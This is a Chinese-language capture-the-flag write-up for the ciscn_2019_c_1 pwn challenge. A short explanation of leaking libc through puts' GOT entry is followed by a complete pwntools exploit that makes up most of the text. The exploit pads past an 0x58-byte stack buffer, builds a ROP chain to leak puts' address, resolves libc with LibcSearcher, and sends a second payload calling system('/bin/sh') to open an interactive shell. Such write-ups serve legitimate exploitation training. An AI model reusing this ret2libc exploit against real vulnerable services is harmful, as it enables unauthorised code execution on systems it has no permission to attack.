跑一下程序,大致流程是
到現在程序就基本分析完成,接下來需要構造rop泄露libc地址然後利用system等函數獲得shell
我們首先要獲得libc的基地址,可以通過puts函數入手,這裏解釋一下爲什麼通過puts函數而不通過其他函數,因爲puts函數在我們進入encrypt函數之前已經調用了很多次了,對於每一個動態鏈接而言,第一次調用完成以後,就修正了.got表中的對應的puts函數的地址,所以我們可以通過puts函數泄露。
exp
from pwn import *
from LibcSearcher import *
def encrypt(text:list):
new_list = []
for i in text:
if i <= 96 or i > 122:
if i <= 64 or i > 90:
if i > 47 and i <= 57:
i ^= 0xF
else:
i ^= 0xE
else:
i ^= 0xD
new_list.append(chr(i))
return ''.join(new_list)
context.log_level = 'debug'
proc_name = ['/home/moddemod/binary/ciscn_2019_c_1']
elf = ELF(proc_name[0])
p = process(proc_name)
# p = remote('node3.buuoj.cn', 26038)
p.recv()
p.sendline('1')
p.recv()
pop_rdi_ret = 0x400c83
got_puts = elf.got['puts']
plt_puts = elf.plt['puts']
main_addr = elf.symbols['main']
payload = 0x58 * b'a' + p64(pop_rdi_ret) + p64(got_puts) + p64(plt_puts) + p64(main_addr)
p.sendline(encrypt(list(payload)))
# p.recv()
print(p.recvuntil('\n'))
print(p.recvuntil('\n'))
puts_real_addr = u64(p.recvuntil('\n', drop=True).ljust(8, b'\x00'))
libc = LibcSearcher('puts', puts_real_addr)
libc_base = puts_real_addr - libc.dump('puts')
p.sendline('1')
p.recvuntil('encrypted\n')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
ret = 0x4006b9
payload = b'9' * 0x58 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
p.sendline(payload)
p.interactive()